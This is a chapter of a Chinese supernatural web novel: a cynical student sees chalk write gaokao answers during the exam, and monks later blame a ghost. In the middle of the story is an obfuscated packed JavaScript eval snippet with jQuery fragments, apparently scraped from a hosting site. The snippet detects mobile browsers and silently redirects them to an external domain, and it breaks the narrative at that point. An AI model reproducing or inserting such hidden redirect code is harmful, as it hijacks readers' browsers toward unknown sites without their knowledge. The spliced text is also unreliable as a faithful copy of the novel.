“佛云,世有三届,大千,中千,小千。”
——摘自《与和尚同居的日子》
金陵市张道胥街道,某三流中学,高三二班,班主任大声朗读着从某位男同学那里没收来的漫画。
老人家年龄五十二,佛龄五十,看到该漫画封皮,头顶的不毛之地冒出两行青烟。
封皮是一和尚与一华服青年深情守望的画面,二人旁边赫然写着一列大字:《与和尚同居的日子》。
被没收漫画的男生羞愤不已,一整节课面红耳赤,根本无心听课。
下课铃声响起,班主任带着他的漫画离开,他感觉全班同学的目光都落在了自己身上,不知是不是幻听,他听到好多嘲笑声。
伴着头顶一个清冷的声音,嘲笑声戛然而止。
“纪飞,距离高考只剩十七天,你确定要在这些无聊的事上浪费时间?”
纪飞抬起头,看到一副冰冷傲慢的眼睛,心中羞愤愈发强烈,他用尖细的小嗓冲对方喊道:“你懂什么!”
杨弈叹口气,傻叉。
他单肩拎着包,长腿迈出教室。天上不见太阳,但地上却像生了火,热得让人怀疑后羿到底有没有射日。
杨弈拉开夏季校服领口的拉链,露着直挺挺的锁骨走出校门。
金陵成绿树成荫,老城区拥有全国最大的古建筑群,春夏秋冬,各有各的风景,常年位列全国必去旅游城市榜首。
不同于大部分人对金陵的印象,杨弈对金陵的印象,自始至终只有两个。
第一,热死他妈了。
第二,大部分人都是傻叉。
夏天学校食堂的饭菜就像馊了一样,杨弈宁愿顶着四十度高温,也要步行回出租屋吃饭。
离高考不到两个月的时候,杨弈的奶奶用央求的口吻,逼他从燕尾县转学到金陵,祖孙二人在这条名为“张道胥街”的大道上落脚
“张道胥街”是金陵老城区的一条街道,这里有一座寺庙,名为灵音寺,庙里有座千年木塔,乃全国重点文物保护单位,附近方圆十里,不许搭建层高超过五层的楼房,不许随意拆迁。
杨弈祖孙住的出租屋就在这里,杨弈的奶奶阳婆说,租这里,不是因为图租金便宜,而是图离杨弈的学校近。
杨弈对此无话可说。
拖阳婆的福,他高中三年,转过七次学,换过五座城市。
阳婆也不算一无是处,仅做饭好吃这一条,就足矣让她在一众老太太中力压群雄。
才到槐花巷巷口,杨弈就闻到了白米饭的香味,他加快步伐,来到槐花巷13号,院门口停着一辆扎眼的警用小电驴。
杨弈第一反应是,警察来抓阳婆了?
杨弈想好了,如果警方抓走阳婆,他绝对会大义灭亲,让警察同志好好改造她的封建迷信思想。
推门而入,杨弈并未见到预想中的普法场景,一张圆乎乎的脸跳跃到他的视线里。
“杨弈,我工作调到金陵了!”
阳婆双手各端一个盘子,从圆脸女孩身后走来:“乖孙回家了?”
二十分钟后的饭桌上,杨弈严肃地审问对面的一大一小:“丁小轩为什么会跟来金陵?”
女孩唆了一口雪糕,中气十足:“我这是正常的工作调动,你什么语气嘛,搞得像我缠着你一样。你以为你很帅吗?还是你以为你性格很好?天下男的死光了,我也不可能看上你。”
杨弈忘了跟她什么时候认识了。自他有记忆以来,丁小轩就一直在他家里蹭饭,从河北蹭到新疆,从新疆蹭到贵州...
阳婆对外宣称丁小轩是杨弈的表姐,但杨弈心里门儿清,她八成是孤儿院的野孩子,瞅准了阳婆没有孙女,盯着她那点儿可怜的退休工资。
杨弈长了一双不平凡的眼睛,或者说,他拥有一副不平凡的目光。一个十八岁的少年,眼里没有半点向往未来的朝气,只有看谁都像看傻逼的轻蔑。
阳婆端起盘子,讪讪说:“我去洗碗了。”
杨弈道:“我来吧。”
“高考还不到一个月,正是要冲刺的时候,你快去休息。”
祖孙二人客套地推拒了半天,最后决定让丁小轩来洗碗,于是他们同时向饭桌看去...
丁小轩人呢?平时能躺绝不坐着,能坐着绝不站着,一提让她洗碗,跑得比美洲豹还快。
“杨弈,以后中午你就别回来了,丁小轩这丫头刚调到街道派出所,成天游手好闲,让她给你送饭去。”
“不,我担心她给我饭里下迷药。”
担心丁小轩下药,只是个借口罢了,杨弈之所以顶着桑拿天也要回家吃饭,并非为了一口饭菜,而是为了监视阳婆,生怕她做出非法之举。
就这样监视着监视着,日复一日,高考来临了。
杨弈属于借读,要回原籍高考,他在对阳婆进行了一番反迷信教育后,独自一人坐上回燕尾县的大巴,进入高考考场。
县城虽小,但纪律严明,一直考到最后一门外语,考试期间,考场内连一声虫鸣都听不到。
杨弈比考场其它考生更快来到阅读理解环节,他精准定位关键词,刷刷在答题卡上画完答案,当他翻页构思作文时,其它考生还在和阅读理解较量。
“吱—”
忽然,一声刺耳的划拉声,打断了考生们的思路,监考老师以为有人作弊,眯起眼向下扫射。考生们鸦雀无声,却不约而同向他投来目光。
“看什么看?嫌时间不够多是不是?”
饶是他严词相对,考生们的注意力非但没有回到试卷上,反而愈发聚精会神地盯着他。监考老师被盯得毛骨悚然,狐疑地回头,这才发现考生们不是盯着他,而是盯着他身后的黑板。
一截白色粉笔在黑板上连贯地划拉,写下B、C、D、B...
教室里所有人脸色都变得惨白了起来,废旧县城高中,会自己写答案的粉笔,这是...遇到灵异事件了?
在这其中,只有一人没抬头,他心无旁骛地写着作文,至此,他已经精准地算出了自己的高考分数了。
就在杨弈的未来刚有眉目时,监考老师愤怒道:“全体学生放下武器...我是说,放下笔,试卷倒扣在桌子上,举起双手!”
杨弈丢掉圆珠笔,和别人一起举起双手。
不同于其他学生脸上的茫然懵懂,杨弈目光如炬,似乎正在盯着什么东西看。
因为粉笔作弊事件,该考场的全体人员一直被关到高考结束,校园安静以后,警方兴师动众地来到考场,开始搜身,就连监考老师也没放过。
他们被放行时,天已经黑了。
学生们三三两两,讨论着今天的事故。
“不会真的是闹鬼吧?”“咱们试没考完,高考成绩怎么算?”“不会让咱们再考一次吧,救命啊家人们!”
杨弈掏出头戴式耳机,隔离这些噪音。他在学校门口看到一个熟悉的声音,眼都不眨,直接视若无睹地朝另一个方向走去。
“杨弈!”
丁小轩追上来,跳跃起身摘下杨弈的耳机,“你怎么才出来?考得怎么样?清华还是北大?我觉得金陵大学就挺好的,你要不就在金陵上大学吧,以后我罩你。”
杨弈冷哼,清华?北大?金陵大学?
今天的事故,如无意外,会被定棺盖论成集体舞弊,高考成绩都没有了,上个屁。
“你怎么来了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230541|181760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我正好回来办个手续,顺便接你回家。”
杨弈的余光扫过一旁的摩托车,淡淡道:“不了,我今晚住宾馆。”
“那我和你一起住宾馆。”
杨弈虽然不喜欢丁小轩跟他形影不离,但天色已晚,也不放心她一人骑摩托车回金陵市。他和丁小轩在县城国道旁的汽车宾馆登了两间房,分房而居。
杨弈在床上翻来覆去,每每闭眼,就想到今天在考场看到的画面。
半夜三点,他敲开丁小轩的门,丁小轩手舞着警棍,差点朝杨弈迎头一棒。
“杨弈,我真的对你没意思,你,最好也别对我有意思。”
“我喜欢男的。”杨弈快刀斩乱麻,丁小轩消化消息的时候,他单刀直入:“丁小轩,你相信世上有鬼吗?”
丁小轩咽了咽口水:“这个嘛...”
就在丁小轩组织答案时,隔壁传来一声厉叫:“鬼啊啊啊啊!”
...
六月九日,中午十二点,灵音寺。
一辆刺眼的黄色兰博基尼停在后巷,车主从后门冲进灵音寺,揪住一个小和尚:“静山呢?电话不接电话,微信不回微信,圆寂啦?”
小和尚颤巍巍说:“洪施主,今天寺里断电了,没电没网。”
主持静山一边擦汗,一边走出浮屠塔,恰好瞧见这幕:一青年男子揪着他寺中沙弥的衣领,有碍观瞻啊!
“洪秘书,快放下我弟子。”静山的嘴巴比腿着急,他慢悠悠走过来:“这是干啥啊?”
洪景天放过小和尚,搂着静山走到一旁:“主任呢?”
“寺中断电,师祖正在发电。”
“我这有桩麻烦事,不知道该不该请主任出面,你帮我参谋参谋。”
“世上本无事,庸人自扰之,请你尽量自渡,莫来叨扰佛门。”
洪景天不顾静山的拒绝,滔滔不绝道:“我觉得这事儿不该主任出面,但涉及到教育公平和二十几个孩子的人生,我为人师表,不能让学生蒙受不白之冤。”
“哦?”
“昨天下午英语考试,有个县城的考场,粉笔自己在黑板上下下了答案,公安局打算定性成集体舞弊,但教育局坚决不同意。我拖了点儿关系看到了考场监控,你也看看。”
洪景天掏出手机,点开自己录制的监控画面,静山屏息,四十度的高温下冒出了出一身冷汗。
监控画面里,粉笔并非自行运动,而是由一名浑身插满羽箭、披头散发的血衣人手握粉笔,在黑板上一笔一划写下答案。
“是...是...”
静山舌头打颤,说不出话,身后传来一个冰凉的声音,接过他的话:“是阴傀。”
洪景天与静山双双转身,自动后退一步,在二人之间让开一个人的位置。
静山说:“师祖。”
洪景天说:“主任。”
“阿弥陀佛。”来者双手合十,对二人做了一记佛礼,而后道:“这活接了。”
静山犹豫道:“师祖,可现在...是您的年假期间。”
“既然知道我在度年假,你为何要来找我发电?”
“那不是因为街道停电了嘛...咱寺里的和尚心静自然凉,外头的居民呢?咱们街道平均年龄超过八十岁了,老人遇到高温天气,很容易出事的!我是为了民生请命,洪秘书完全是为了自己的升迁问题劳驾您。”
主任看向洪景天:“你可要为自己申辩?”
洪景天微笑着摇头:“我洪景天从不屑构陷同事。”
“那好,既然你们都已结束了自己的主张,该我发言了。”主任正义凛然道:“破坏变压器导致全区停电和扰乱考场的,是同一名阴傀。”